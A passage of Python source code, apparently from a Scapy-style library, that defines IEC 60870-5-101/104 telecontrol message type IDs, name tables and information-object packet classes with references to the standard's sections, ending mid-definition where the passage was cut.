IEC104_IO_ID_M_DP_NA_1 = 0x03 IEC104_IO_ID_M_DP_TA_1 = 0x04 IEC104_IO_ID_M_ST_NA_1 = 0x05 IEC104_IO_ID_M_ST_TA_1 = 0x06 IEC104_IO_ID_M_BO_NA_1 = 0x07 IEC104_IO_ID_M_BO_TA_1 = 0x08 IEC104_IO_ID_M_ME_NA_1 = 0x09 IEC104_IO_ID_M_ME_TA_1 = 0x0a IEC104_IO_ID_M_ME_NB_1 = 0x0b IEC104_IO_ID_M_ME_TB_1 = 0x0c IEC104_IO_ID_M_ME_NC_1 = 0x0d IEC104_IO_ID_M_ME_TC_1 = 0x0e IEC104_IO_ID_M_IT_NA_1 = 0x0f IEC104_IO_ID_M_IT_TA_1 = 0x10 IEC104_IO_ID_M_EP_TA_1 = 0x11 IEC104_IO_ID_M_EP_TB_1 = 0x12 IEC104_IO_ID_M_EP_TC_1 = 0x13 IEC104_IO_ID_M_PS_NA_1 = 0x14 IEC104_IO_ID_M_ME_ND_1 = 0x15 IEC104_IO_ID_M_SP_TB_1 = 0x1e IEC104_IO_ID_M_DP_TB_1 = 0x1f IEC104_IO_ID_M_ST_TB_1 = 0x20 IEC104_IO_ID_M_BO_TB_1 = 0x21 IEC104_IO_ID_M_ME_TD_1 = 0x22 IEC104_IO_ID_M_ME_TE_1 = 0x23 IEC104_IO_ID_M_ME_TF_1 = 0x24 IEC104_IO_ID_M_IT_TB_1 = 0x25 IEC104_IO_ID_M_EP_TD_1 = 0x26 IEC104_IO_ID_M_EP_TE_1 = 0x27 IEC104_IO_ID_M_EP_TF_1 = 0x28 IEC104_IO_ID_C_SC_NA_1 = 0x2d IEC104_IO_ID_C_DC_NA_1 = 0x2e IEC104_IO_ID_C_RC_NA_1 = 0x2f IEC104_IO_ID_C_SE_NA_1 = 0x30 IEC104_IO_ID_C_SE_NB_1 = 0x31 IEC104_IO_ID_C_SE_NC_1 = 0x32 IEC104_IO_ID_C_BO_NA_1 = 0x33 IEC104_IO_ID_M_EI_NA_1 = 0x46 IEC104_IO_ID_C_IC_NA_1 = 0x64 IEC104_IO_ID_C_CI_NA_1 = 0x65 IEC104_IO_ID_C_RD_NA_1 = 0x66 IEC104_IO_ID_C_CS_NA_1 = 0x67 IEC104_IO_ID_C_TS_NA_1 = 0x68 IEC104_IO_ID_C_RP_NA_1 = 0x69 IEC104_IO_ID_C_CD_NA_1 = 0x6a IEC104_IO_ID_P_ME_NA_1 = 0x6e IEC104_IO_ID_P_ME_NB_1 = 0x6f IEC104_IO_ID_P_ME_NC_1 = 0x70 IEC104_IO_ID_P_AC_NA_1 = 0x71 IEC104_IO_ID_F_FR_NA_1 = 0x78 IEC104_IO_ID_F_SR_NA_1 = 0x79 IEC104_IO_ID_F_SC_NA_1 = 0x7a IEC104_IO_ID_F_LS_NA_1 = 0x7b IEC104_IO_ID_F_AF_NA_1 = 0x7c IEC104_IO_ID_F_SG_NA_1 = 0x7d IEC104_IO_ID_F_DR_TA_1 = 0x7e # specific IOs from 60870-5-104:2006, sec. 8 (p. 37 ff) IEC104_IO_ID_C_SC_TA_1 = 0x3a IEC104_IO_ID_C_DC_TA_1 = 0x3b IEC104_IO_ID_C_RC_TA_1 = 0x3c IEC104_IO_ID_C_SE_TA_1 = 0x3d IEC104_IO_ID_C_SE_TB_1 = 0x3e IEC104_IO_ID_C_SE_TC_1 = 0x3f IEC104_IO_ID_C_BO_TA_1 = 0x40 IEC104_IO_ID_C_TS_TA_1 = 0x6b IEC104_IO_ID_F_SC_NB_1 = 0x7f def _dict_add_reserved_range(d, start, end): for idx in range(start, end + 1): d[idx] = 'reserved_{}'.format(idx) IEC104_IO_DESCRIPTIONS = { 0: 'undefined', IEC104_IO_ID_M_SP_NA_1: 'M_SP_NA_1 (single point report)', IEC104_IO_ID_M_SP_TA_1: 'M_SP_TA_1 (single point report with timestamp) ' '# 60870-4-101 only', IEC104_IO_ID_M_DP_NA_1: 'M_DP_NA_1 (double point report)', IEC104_IO_ID_M_DP_TA_1: 'M_DP_TA_1 (double point report with timestamp) ' '# 60870-4-101 only', IEC104_IO_ID_M_ST_NA_1: 'M_ST_NA_1 (step control report)', IEC104_IO_ID_M_ST_TA_1: 'M_ST_TA_1 (step control report with timestamp) ' '# 60870-4-101 only', IEC104_IO_ID_M_BO_NA_1: 'M_BO_NA_1 (bitmask 32 bit)', IEC104_IO_ID_M_BO_TA_1: 'M_BO_TA_1 (bitmask 32 bit with timestamp) ' '# 60870-4-101 only', IEC104_IO_ID_M_ME_NA_1: 'M_ME_NA_1 (meas, normed value)', IEC104_IO_ID_M_ME_TA_1: 'M_ME_TA_1 (meas, normed value with timestamp) ' '# 60870-4-101 only', IEC104_IO_ID_M_ME_NB_1: 'M_ME_NB_1 (meas, scaled value)', IEC104_IO_ID_M_ME_TB_1: 'M_ME_TB_1 (meas, scaled value with timestamp) ' '# 60870-4-101 only', IEC104_IO_ID_M_ME_NC_1: 'M_ME_NC_1 (meas, shortened floating point value)', IEC104_IO_ID_M_ME_TC_1: 'M_ME_TC_1 (meas, shortened floating point value ' 'with timestamp) # 60870-4-101 only', IEC104_IO_ID_M_IT_NA_1: 'M_IT_NA_1 (counter value)', IEC104_IO_ID_M_IT_TA_1: 'M_IT_TA_1 (counter value with timestamp) ' '# 60870-4-101 only', IEC104_IO_ID_M_EP_TA_1: 'M_EP_TA_1 (protection event with timestamp) ' '# 60870-4-101 only', IEC104_IO_ID_M_EP_TB_1: 'M_EP_TB_1 (blocked protection trigger with ' 'timestamp) # 60870-4-101 only', IEC104_IO_ID_M_EP_TC_1: 'M_EP_TC_1 (blocked protection action with ' 'timestamp) # 60870-4-101 only', IEC104_IO_ID_M_PS_NA_1: 'M_PS_NA_1 (blocked single report with ' 'change indication)', IEC104_IO_ID_M_ME_ND_1: 'M_ME_ND_1 (meas, normed value, no quality ' 'indication)', IEC104_IO_ID_M_SP_TB_1: 'M_SP_TB_1 (single point report with CP56Time2a ' 'time field)', IEC104_IO_ID_M_DP_TB_1: 'M_DP_TB_1 (double point report with CP56Time2a ' 'time field)', IEC104_IO_ID_M_ST_TB_1: 'M_ST_TB_1 (step control report with CP56Time2a ' 'time field)', IEC104_IO_ID_M_BO_TB_1: 'M_BO_TB_1 (bitmask 32 bit with CP56Time2a time ' 'field)', IEC104_IO_ID_M_ME_TD_1: 'M_ME_TD_1 (meas, normed value with CP56Time2a ' 'time field)', IEC104_IO_ID_M_ME_TE_1: 'M_ME_TE_1 (meas, scaled value with CP56Time2a ' 'time field)', IEC104_IO_ID_M_ME_TF_1: 'M_ME_TF_1 (meas, shortened floating point value ' 'with CP56Time2a time field)', IEC104_IO_ID_M_IT_TB_1: 'M_IT_TB_1 (counter with CP56Time2a time field)', IEC104_IO_ID_M_EP_TD_1: 'M_EP_TD_1 (protection event with CP56Time2a ' 'time field)', IEC104_IO_ID_M_EP_TE_1: 'M_EP_TE_1 (blocked protection trigger with ' 'CP56Time2a time field)', IEC104_IO_ID_M_EP_TF_1: 'M_EP_TF_1 (blocked protection action with ' 'CP56Time2a time field)', IEC104_IO_ID_C_SC_NA_1: 'C_SC_NA_1 (single command)', IEC104_IO_ID_C_DC_NA_1: 'C_DC_NA_1 (double command)', IEC104_IO_ID_C_RC_NA_1: 'C_RC_NA_1 (step control command)', IEC104_IO_ID_C_SE_NA_1: 'C_SE_NA_1 (setpoint control command, ' 'normed value)', IEC104_IO_ID_C_SE_NB_1: 'C_SE_NB_1 (setpoint control command, ' 'scaled value)', IEC104_IO_ID_C_SE_NC_1: 'C_SE_NC_1 (setpoint control command, ' 'shortened floating point value)', IEC104_IO_ID_C_BO_NA_1: 'C_BO_NA_1 (bitmask 32 bit)', IEC104_IO_ID_C_SC_TA_1: 'C_SC_TA_1 (single point command with ' 'CP56Time2a time field)', IEC104_IO_ID_C_DC_TA_1: 'C_DC_TA_1 (double point command with ' 'CP56Time2a time field)', IEC104_IO_ID_C_RC_TA_1: 'C_RC_TA_1 (step control command with ' 'CP56Time2a time field)', IEC104_IO_ID_C_SE_TA_1: 'C_SE_TA_1 (setpoint command, normed value with ' 'CP56Time2a time field)', IEC104_IO_ID_C_SE_TB_1: 'C_SE_TB_1 (setpoint command, scaled value with ' 'CP56Time2a time field)', IEC104_IO_ID_C_SE_TC_1: 'C_SE_TC_1 (setpoint command, shortened floating ' 'point value with CP56Time2a time field)', IEC104_IO_ID_C_BO_TA_1: 'C_BO_TA_1 (bitmask 32 command bit with ' 'CP56Time2a time field)', IEC104_IO_ID_M_EI_NA_1: 'M_EI_NA_1 (init done)', IEC104_IO_ID_C_IC_NA_1: 'C_IC_NA_1 (general interrogation command)', IEC104_IO_ID_C_CI_NA_1: 'C_CI_NA_1 (counter interrogation command)', IEC104_IO_ID_C_RD_NA_1: 'C_RD_NA_1 (interrogation)', IEC104_IO_ID_C_CS_NA_1: 'C_CS_NA_1 (time synchronisation command)', IEC104_IO_ID_C_TS_NA_1: 'C_TS_NA_1 (test command) # 60870-4-101 only', IEC104_IO_ID_C_RP_NA_1: 'C_RP_NA_1 (process reset command)', IEC104_IO_ID_C_CD_NA_1: 'C_CD_NA_1 (meas telegram transit time command) ' '# 60870-4-101 only', IEC104_IO_ID_C_TS_TA_1: 'C_TS_TA_1 (test command with CP56Time2a ' 'time field)', IEC104_IO_ID_P_ME_NA_1: 'P_ME_NA_1 (meas parameter, normed value)', IEC104_IO_ID_P_ME_NB_1: 'P_ME_NB_1 (meas parameter, scaled value)', IEC104_IO_ID_P_ME_NC_1: 'P_ME_NC_1 (meas parameter, shortened floating ' 'point value)', IEC104_IO_ID_P_AC_NA_1: 'P_AC_NA_1 (parameter for activation)', IEC104_IO_ID_F_FR_NA_1: 'F_FR_NA_1 (file ready)', IEC104_IO_ID_F_SR_NA_1: 'F_SR_NA_1 (section ready)', IEC104_IO_ID_F_SC_NA_1: 'F_SC_NA_1 (query directory, selection, section)', IEC104_IO_ID_F_LS_NA_1: 'F_LS_NA_1 (last part/segment)', IEC104_IO_ID_F_AF_NA_1: 'F_AF_NA_1 (file/section acknowledgement)', IEC104_IO_ID_F_SG_NA_1: 'F_SG_NA_1 (segment)', IEC104_IO_ID_F_DR_TA_1: 'F_DR_TA_1 (directory)', IEC104_IO_ID_F_SC_NB_1: 'F_SC_NB_1 (query log - request archive file)' } _dict_add_reserved_range(IEC104_IO_DESCRIPTIONS, 22, 29) _dict_add_reserved_range(IEC104_IO_DESCRIPTIONS, 41, 44) _dict_add_reserved_range(IEC104_IO_DESCRIPTIONS, 52, 57) _dict_add_reserved_range(IEC104_IO_DESCRIPTIONS, 65, 69) _dict_add_reserved_range(IEC104_IO_DESCRIPTIONS, 71, 99) _dict_add_reserved_range(IEC104_IO_DESCRIPTIONS, 108, 109) _dict_add_reserved_range(IEC104_IO_DESCRIPTIONS, 114, 119) IEC104_IO_NAMES = { 0: 'undefined', IEC104_IO_ID_M_SP_NA_1: 'M_SP_NA_1', IEC104_IO_ID_M_SP_TA_1: 'M_SP_TA_1', IEC104_IO_ID_M_DP_NA_1: 'M_DP_NA_1', IEC104_IO_ID_M_DP_TA_1: 'M_DP_TA_1', IEC104_IO_ID_M_ST_NA_1: 'M_ST_NA_1', IEC104_IO_ID_M_ST_TA_1: 'M_ST_TA_1', IEC104_IO_ID_M_BO_NA_1: 'M_BO_NA_1', IEC104_IO_ID_M_BO_TA_1: 'M_BO_TA_1', IEC104_IO_ID_M_ME_NA_1: 'M_ME_NA_1', IEC104_IO_ID_M_ME_TA_1: 'M_ME_TA_1', IEC104_IO_ID_M_ME_NB_1: 'M_ME_NB_1', IEC104_IO_ID_M_ME_TB_1: 'M_ME_TB_1', IEC104_IO_ID_M_ME_NC_1: 'M_ME_NC_1', IEC104_IO_ID_M_ME_TC_1: 'M_ME_TC_1', IEC104_IO_ID_M_IT_NA_1: 'M_IT_NA_1', IEC104_IO_ID_M_IT_TA_1: 'M_IT_TA_1', IEC104_IO_ID_M_EP_TA_1: 'M_EP_TA_1', IEC104_IO_ID_M_EP_TB_1: 'M_EP_TB_1', IEC104_IO_ID_M_EP_TC_1: 'M_EP_TC_1', IEC104_IO_ID_M_PS_NA_1: 'M_PS_NA_1', IEC104_IO_ID_M_ME_ND_1: 'M_ME_ND_1', IEC104_IO_ID_M_SP_TB_1: 'M_SP_TB_1', IEC104_IO_ID_M_DP_TB_1: 'M_DP_TB_1', IEC104_IO_ID_M_ST_TB_1: 'M_ST_TB_1', IEC104_IO_ID_M_BO_TB_1: 'M_BO_TB_1', IEC104_IO_ID_M_ME_TD_1: 'M_ME_TD_1', IEC104_IO_ID_M_ME_TE_1: 'M_ME_TE_1', IEC104_IO_ID_M_ME_TF_1: 'M_ME_TF_1', IEC104_IO_ID_M_IT_TB_1: 'M_IT_TB_1', IEC104_IO_ID_M_EP_TD_1: 'M_EP_TD_1', IEC104_IO_ID_M_EP_TE_1: 'M_EP_TE_1', IEC104_IO_ID_M_EP_TF_1: 'M_EP_TF_1', IEC104_IO_ID_C_SC_NA_1: 'C_SC_NA_1', IEC104_IO_ID_C_DC_NA_1: 'C_DC_NA_1', IEC104_IO_ID_C_RC_NA_1: 'C_RC_NA_1', IEC104_IO_ID_C_SE_NA_1: 'C_SE_NA_1', IEC104_IO_ID_C_SE_NB_1: 'C_SE_NB_1', IEC104_IO_ID_C_SE_NC_1: 'C_SE_NC_1', IEC104_IO_ID_C_BO_NA_1: 'C_BO_NA_1', IEC104_IO_ID_C_SC_TA_1: 'C_SC_TA_1', IEC104_IO_ID_C_DC_TA_1: 'C_DC_TA_1', IEC104_IO_ID_C_RC_TA_1: 'C_RC_TA_1', IEC104_IO_ID_C_SE_TA_1: 'C_SE_TA_1', IEC104_IO_ID_C_SE_TB_1: 'C_SE_TB_1', IEC104_IO_ID_C_SE_TC_1: 'C_SE_TC_1', IEC104_IO_ID_C_BO_TA_1: 'C_BO_TA_1', IEC104_IO_ID_M_EI_NA_1: 'M_EI_NA_1', IEC104_IO_ID_C_IC_NA_1: 'C_IC_NA_1', IEC104_IO_ID_C_CI_NA_1: 'C_CI_NA_1', IEC104_IO_ID_C_RD_NA_1: 'C_RD_NA_1', IEC104_IO_ID_C_CS_NA_1: 'C_CS_NA_1', IEC104_IO_ID_C_TS_NA_1: 'C_TS_NA_1', IEC104_IO_ID_C_RP_NA_1: 'C_RP_NA_1', IEC104_IO_ID_C_CD_NA_1: 'C_CD_NA_1', IEC104_IO_ID_C_TS_TA_1: 'C_TS_TA_1', IEC104_IO_ID_P_ME_NA_1: 'P_ME_NA_1', IEC104_IO_ID_P_ME_NB_1: 'P_ME_NB_1', IEC104_IO_ID_P_ME_NC_1: 'P_ME_NC_1', IEC104_IO_ID_P_AC_NA_1: 'P_AC_NA_1', IEC104_IO_ID_F_FR_NA_1: 'F_FR_NA_1', IEC104_IO_ID_F_SR_NA_1: 'F_SR_NA_1', IEC104_IO_ID_F_SC_NA_1: 'F_SC_NA_1', IEC104_IO_ID_F_LS_NA_1: 'F_LS_NA_1', IEC104_IO_ID_F_AF_NA_1: 'F_AF_NA_1', IEC104_IO_ID_F_SG_NA_1: 'F_SG_NA_1', IEC104_IO_ID_F_DR_TA_1: 'F_DR_TA_1', IEC104_IO_ID_F_SC_NB_1: 'F_SC_NB_1' } _dict_add_reserved_range(IEC104_IO_NAMES, 22, 29) _dict_add_reserved_range(IEC104_IO_NAMES, 41, 44) _dict_add_reserved_range(IEC104_IO_NAMES, 52, 57) _dict_add_reserved_range(IEC104_IO_NAMES, 65, 69) _dict_add_reserved_range(IEC104_IO_NAMES, 71, 99) _dict_add_reserved_range(IEC104_IO_NAMES, 108, 109) _dict_add_reserved_range(IEC104_IO_NAMES, 114, 119) class IEC104_IO_InvalidPayloadException(Exception): """ raised if payload is not of the same type, raw() or a child of IEC104_APDU """ pass class IEC104_IO_Packet(Packet): """ base class of all information object representations """ DEFINED_IN_IEC_101 = 0x01 DEFINED_IN_IEC_104 = 0x02 _DEFINED_IN = [] def guess_payload_class(self, payload): return conf.padding_layer _IEC104_IO_TYPE_ID = IEC104_IO_ID_UNDEFINED def iec104_io_type_id(self): """ get individual type id of the information object instance :return: information object type id (IEC104_IO_ID_*) """ return self._IEC104_IO_TYPE_ID def defined_for_iec_101(self): """ information object ASDU allowed for IEC 60870-5-101 :return: True if the information object is defined within IEC 60870-5-101, else False """ return IEC104_IO_Packet.DEFINED_IN_IEC_101 in self._DEFINED_IN def defined_for_iec_104(self): """ information object ASDU allowed for IEC 60870-5-104 :return: True if the information object is defined within IEC 60870-5-104, else False """ return IEC104_IO_Packet.DEFINED_IN_IEC_104 in self._DEFINED_IN class IEC104_IO_M_SP_NA_1(IEC104_IO_Packet): """ single-point information without time tag] EN 60870-5-101:2003, sec. 7.3.1.1 (p. 58) """ name = 'M_SP_NA_1' _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101, IEC104_IO_Packet.DEFINED_IN_IEC_104] _IEC104_IO_TYPE_ID = IEC104_IO_ID_M_SP_NA_1 fields_desc = IEC104_IE_SIQ.informantion_element_fields class IEC104_IO_M_SP_TA_1(IEC104_IO_Packet): """ single-point information with time tag EN 60870-5-101:2003, sec. 7.3.1.2 (p. 59) """ name = 'M_SP_TA_1' _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101] _IEC104_IO_TYPE_ID = IEC104_IO_ID_M_SP_TA_1 fields_desc = IEC104_IE_SIQ.informantion_element_fields + \ IEC104_IE_CP24TIME2A.informantion_element_fields class IEC104_IO_M_DP_NA_1(IEC104_IO_Packet): """ double-point information without time tag EN 60870-5-101:2003, sec. 7.3.1.3 (p. 60) """ name = 'M_DP_NA_1' _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101, IEC104_IO_Packet.DEFINED_IN_IEC_104] _IEC104_IO_TYPE_ID = IEC104_IO_ID_M_DP_NA_1 fields_desc = IEC104_IE_DIQ.informantion_element_fields class IEC104_IO_M_DP_TA_1(IEC104_IO_Packet): """ double-point information with time tag EN 60870-5-101:2003, sec. 7.3.1.4 (p. 61) """ name = 'M_DP_TA_1' _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101] _IEC104_IO_TYPE_ID = IEC104_IO_ID_M_DP_TA_1 fields_desc = IEC104_IE_DIQ.informantion_element_fields + \ IEC104_IE_CP24TIME2A.informantion_element_fields class IEC104_IO_M_ST_NA_1(IEC104_IO_Packet): """ step position information EN 60870-5-101:2003, sec. 7.3.1.5 (p. 62) """ name = 'M_ST_NA_1' _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101, IEC104_IO_Packet.DEFINED_IN_IEC_104] _IEC104_IO_TYPE_ID = IEC104_IO_ID_M_ST_NA_1 fields_desc = IEC104_IE_VTI.informantion_element_fields + \ IEC104_IE_QDS.informantion_element_fields class IEC104_IO_M_ST_TA_1(IEC104_IO_Packet): """ step position information with time tag EN 60870-5-101:2003, sec. 7.3.1.6 (p. 63) """ name = 'M_ST_TA_1' _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101] _IEC104_IO_TYPE_ID = IEC104_IO_ID_M_ST_TA_1 fields_desc = IEC104_IE_VTI.informantion_element_fields + \ IEC104_IE_QDS.informantion_element_fields + \ IEC104_IE_CP24TIME2A.informantion_element_fields class IEC104_IO_M_BO_NA_1(IEC104_IO_Packet): """ bitstring of 32 bit EN 60870-5-101:2003, sec. 7.3.1.7 (p. 64) """ name = 'M_BO_NA_1' _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101, IEC104_IO_Packet.DEFINED_IN_IEC_104] _IEC104_IO_TYPE_ID = IEC104_IO_ID_M_BO_NA_1 fields_desc = IEC104_IE_BSI.informantion_element_fields + \ IEC104_IE_QDS.informantion_element_fields class IEC104_IO_M_BO_TA_1(IEC104_IO_Packet): """ bitstring of 32 bit with time tag EN 60870-5-101:2003, sec. 7.3.1.8 (p. 66) """ name = 'M_BO_TA_1' _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101] _IEC104_IO_TYPE_ID = IEC104_IO_ID_M_BO_TA_1 fields_desc = IEC104_IE_BSI.informantion_element_fields + \ IEC104_IE_QDS.informantion_element_fields + \ IEC104_IE_CP24TIME2A.informantion_element_fields class IEC104_IO_M_ME_NA_1(IEC104_IO_Packet): """ measured value, normalized value EN 60870-5-101:2003, sec. 7.3.1.9 (p. 67) """ name = 'M_ME_NA_1' _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101, IEC104_IO_Packet.DEFINED_IN_IEC_104] _IEC104_IO_TYPE_ID = IEC104_IO_ID_M_ME_NA_1 fields_desc = IEC104_IE_NVA.informantion_element_fields + \ IEC104_IE_QDS.informantion_element_fields class IEC104_IO_M_ME_TA_1(IEC104_IO_Packet): """ measured value, normalized value with time tag EN 60870-5-101:2003, sec. 7.3.1.10 (p. 68) """ name = 'M_ME_TA_1' _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101] _IEC104_IO_TYPE_ID = IEC104_IO_ID_M_ME_TA_1 fields_desc = IEC104_IE_NVA.informantion_element_fields + \ IEC104_IE_QDS.informantion_element_fields + \ IEC104_IE_CP24TIME2A.informantion_element_fields class IEC104_IO_M_ME_NB_1(IEC104_IO_Packet): """ measured value, scaled value EN 60870-5-101:2003, sec. 7.3.1.11 (p. 69) """ name = 'M_ME_NB_1' _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101, IEC104_IO_Packet.DEFINED_IN_IEC_104] _IEC104_IO_TYPE_ID = IEC104_IO_ID_M_ME_NB_1 fields_desc = IEC104_IE_SVA.informantion_element_fields + \ IEC104_IE_QDS.informantion_element_fields class IEC104_IO_M_ME_TB_1(IEC104_IO_Packet): """ measured value, scaled value with time tag EN 60870-5-101:2003, sec. 7.3.1.12 (p. 71) """ name = 'M_ME_TB_1' _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101] _IEC104_IO_TYPE_ID = IEC104_IO_ID_M_ME_TB_1 fields_desc = IEC104_IE_SVA.informantion_element_fields + \ IEC104_IE_QDS.informantion_element_fields + \ IEC104_IE_CP24TIME2A.informantion_element_fields class IEC104_IO_M_ME_NC_1(IEC104_IO_Packet): """ measured value, short floating point number EN 60870-5-101:2003, sec. 7.3.1.13 (p. 72) """ name = 'M_ME_NC_1' _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101, IEC104_IO_Packet.DEFINED_IN_IEC_104] _IEC104_IO_TYPE_ID = IEC104_IO_ID_M_ME_NC_1 fields_desc = IEC104_IE_R32_IEEE_STD_754.informantion_element_fields + \ IEC104_IE_QDS.informantion_element_fields class IEC104_IO_M_ME_TC_1(IEC104_IO_Packet): """ measured value, short floating point number with time tag EN 60870-5-101:2003, sec. 7.3.1.14 (p. 74) """ name = 'M_ME_TC_1' _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101] _IEC104_IO_TYPE_ID = IEC104_IO_ID_M_ME_TC_1 fields_desc = IEC104_IE_R32_IEEE_STD_754.informantion_element_fields + \ IEC104_IE_QDS.informantion_element_fields + \ IEC104_IE_CP24TIME2A.informantion_element_fields class IEC104_IO_M_IT_NA_1(IEC104_IO_Packet): """ integrated totals EN 60870-5-101:2003, sec. 7.3.1.15 (p. 75) """ name = 'M_IT_NA_1' _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101, IEC104_IO_Packet.DEFINED_IN_IEC_104] _IEC104_IO_TYPE_ID = IEC104_IO_ID_M_IT_NA_1 fields_desc = IEC104_IE_BCR.informantion_element_fields class IEC104_IO_M_IT_TA_1(IEC104_IO_Packet): """ integrated totals with time tag EN 60870-5-101:2003, sec. 7.3.1.16 (p. 77) """ name = 'M_IT_TA_1' _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101] _IEC104_IO_TYPE_ID = IEC104_IO_ID_M_IT_TA_1 fields_desc = IEC104_IE_BCR.informantion_element_fields + \ IEC104_IE_CP24TIME2A.informantion_element_fields class IEC104_IO_M_EP_TA_1(IEC104_IO_Packet): """ event of protection equipment with time tag EN 60870-5-101:2003, sec. 7.3.1.17 (p. 78) """ name = 'M_EP_TA_1' _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101] _IEC104_IO_TYPE_ID = IEC104_IO_ID_M_EP_TA_1 fields_desc = IEC104_IE_SEP.informantion_element_fields + \ IEC104_IE_CP16TIME2A_ELAPSED.informantion_element_fields + \ IEC104_IE_CP24TIME2A.informantion_element_fields class IEC104_IO_M_EP_TB_1(IEC104_IO_Packet): """ packed start events of protection equipment with time tag EN 60870-5-101:2003, sec. 7.3.1.18 (p. 79) """ name = 'M_EP_TB_1' _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101] _IEC104_IO_TYPE_ID = IEC104_IO_ID_M_EP_TB_1 fields_desc = IEC104_IE_SPE.informantion_element_fields + \ IEC104_IE_QDP.informantion_element_fields + \ IEC104_IE_CP16TIME2A_PROTECTION_ACTIVE.\ informantion_element_fields + \ IEC104_IE_CP24TIME2A.informantion_element_fields class IEC104_IO_M_EP_TC_1(IEC104_IO_Packet): """ packed output circuit information of protection equipment with time tag EN 60870-5-101:2003, sec. 7.3.1.19 (p. 80) """ name = 'M_EP_TC_1' _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101] _IEC104_IO_TYPE_ID = IEC104_IO_ID_M_EP_TC_1 fields_desc = IEC104_IE_OCI.informantion_element_fields + \ IEC104_IE_QDP.informantion_element_fields + \ IEC104_IE_CP16TIME2A_PROTECTION_COMMAND.\ informantion_element_fields + \ IEC104_IE_CP24TIME2A.informantion_element_fields class IEC104_IO_M_PS_NA_1(IEC104_IO_Packet): """ packed single-point information with status change detection EN 60870-5-101:2003, sec. 7.3.1.20 (p. 81) """ name = 'M_PS_NA_1' _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101, IEC104_IO_Packet.DEFINED_IN_IEC_104] _IEC104_IO_TYPE_ID = IEC104_IO_ID_M_PS_NA_1 fields_desc = IEC104_IE_SCD.informantion_element_fields + \ IEC104_IE_QDS.informantion_element_fields class IEC104_IO_M_ME_ND_1(IEC104_IO_Packet): """ measured value, normalized value without quality descriptor EN 60870-5-101:2003, sec. 7.3.1.21 (p. 83) """ name = 'M_ME_ND_1' _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101, IEC104_IO_Packet.DEFINED_IN_IEC_104] _IEC104_IO_TYPE_ID = IEC104_IO_ID_M_ME_ND_1 fields_desc = IEC104_IE_NVA.informantion_element_fields class IEC104_IO_M_SP_TB_1(IEC104_IO_Packet): """ single-point information with time tag cp56time2a EN 60870-5-101:2003, sec. 7.3.1.22 (p. 84) """ name = 'M_SP_TB_1' _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101, IEC104_IO_Packet.DEFINED_IN_IEC_104] _IEC104_IO_TYPE_ID = IEC104_IO_ID_M_SP_TB_1 fields_desc = IEC104_IE_SIQ.informantion_element_fields + \ IEC104_IE_CP56TIME2A.informantion_element_fields class IEC104_IO_M_DP_TB_1(IEC104_IO_Packet): """ double-point information with time tag cp56time2a EN 60870-5-101:2003, sec. 7.3.1.23 (p. 85) """ name = 'M_DP_TB_1' _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101, IEC104_IO_Packet.DEFINED_IN_IEC_104] _IEC104_IO_TYPE_ID = IEC104_IO_ID_M_DP_TB_1 fields_desc = IEC104_IE_DIQ.informantion_element_fields + \ IEC104_IE_CP56TIME2A.informantion_element_fields class IEC104_IO_M_ST_TB_1(IEC104_IO_Packet): """ step position information with time tag cp56time2a EN 60870-5-101:2003, sec. 7.3.1.24 (p. 87) """ name = 'M_ST_TB_1' _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101, IEC104_IO_Packet.DEFINED_IN_IEC_104] _IEC104_IO_TYPE_ID = IEC104_IO_ID_M_ST_TB_1 fields_desc = IEC104_IE_VTI.informantion_element_fields + \ IEC104_IE_QDS.informantion_element_fields + \ IEC104_IE_CP56TIME2A.informantion_element_fields class IEC104_IO_M_BO_TB_1(IEC104_IO_Packet): """ bitstring of 32 bits with time tag cp56time2a EN 60870-5-101:2003, sec. 7.3.1.25 (p. 89) """ name = 'M_BO_TB_1' _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101, IEC104_IO_Packet.DEFINED_IN_IEC_104] _IEC104_IO_TYPE_ID = IEC104_IO_ID_M_BO_TB_1 fields_desc = IEC104_IE_BSI.informantion_element_fields + \ IEC104_IE_QDS.informantion_element_fields + \ IEC104_IE_CP56TIME2A.informantion_element_fields class IEC104_IO_M_ME_TD_1(IEC104_IO_Packet): """ measured value, normalized value with time tag cp56time2a EN 60870-5-101:2003, sec. 7.3.1.26 (p. 91) """ name = 'M_ME_TD_1' _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101, IEC104_IO_Packet.DEFINED_IN_IEC_104] _IEC104_IO_TYPE_ID = IEC104_IO_ID_M_ME_TD_1 fields_desc = IEC104_IE_NVA.informantion_element_fields + \ IEC104_IE_QDS.informantion_element_fields + \ IEC104_IE_CP56TIME2A.informantion_element_fields class IEC104_IO_M_ME_TE_1(IEC104_IO_Packet): """ measured value, scaled value with time tag cp56time2a EN 60870-5-101:2003, sec. 7.3.1.27 (p. 93) """ name = 'M_ME_TE_1' _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101, IEC104_IO_Packet.DEFINED_IN_IEC_104] _IEC104_IO_TYPE_ID = IEC104_IO_ID_M_ME_TE_1 fields_desc = IEC104_IE_SVA.informantion_element_fields + \ 